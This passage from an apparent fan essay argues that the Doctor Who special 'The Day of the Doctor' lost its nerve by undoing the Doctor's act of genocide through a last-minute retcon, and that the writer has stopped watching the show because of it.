And then, we saw those future Doctors, the ones who had spent centuries running from that choice, the ones who held the man who made them in such contempt, join him at that hour. Wait, the later versions said. You were the Doctor on the day it wasn't possible to get it right. But this time, you don't have to do it alone. The past Doctor and the future Doctors, reaffirming that this act was the right--the only--thing to do.

This was a gutsy, brilliant piece of storytelling. This was the storyteller leading us to the edge of the Abyss and saying, see, this character you love, he is capable of atrocity, and he would do it again. This was the Doctor saying, all these centuries I have lived with this guilt and this remorse and this shame and this self-loathing, and I would do it again. From here, from the vantage point of all these centuries, with all that has happened, it was still the right thing to do. This was the twin irreconcilable pillars of the character's psychology, the essential paradox of his makeup, the Doctor's compassion and the Doctor's capacity for genocide, reconciled. This, maybe, was the beginning of the Doctor's coming to terms with himself, the path away from self-loathing and grief.

And Moffat blinked.

But he's the Doctor! Everybody loves the Doctor! He wears a fez! He's nice to puppies! He helps little old ladies cross the street! We can't show the Doctor doing this!

And so, in a ridiculous last-minute deus ex bigger-on-the-inside-machina, he blinked. No, we won't make him do this! We will paint ourselves out of the corner we've painted ourselves into because...the TARDIS is magic! Alternate dimensions! But we won't actually change the Doctor's character because...because, um...time loop! Memories! He'll still believe he did this terrible thing even though he didn't! Nobody actually has to make hard choices, not for real! Retcon! Retcon!




I can forgive a lot of things.

I can forgive uneven writing. I can forgive lapses in continuity ("Even a Time Lord's body can be dangerous, so we have to burn it...no, wait, Time Lords don't leave behind bodies when they die, they leave a special effect instead!") I can pretend that episode about the Titanic didn't happen.

But I can't forgive cowardice.

What happened in The Day of the Doctor was cowardice. It was a storyteller making a promise he didn't have the guts to deliver on. It was not crediting us, the audience, enough to believe that we could take you seriously about the genocide thing and still want to keep traveling with this character. It was the easy way out--I promised you this...oh, no, only kidding! The Doctor would not really do that. Not for serious.

I can't forgive cowardice, and the television show no longer interests me in the slightest. I simply don't care enough to follow it any more.

We were sold a bill of goods. The box is empty. The Emperor has no clothes. Steven Moffat can keep his robotic bad guys with their plunger arms and little flashy lights. I want stories that aren't afraid to go where they promise. Now, where's that Culture book?

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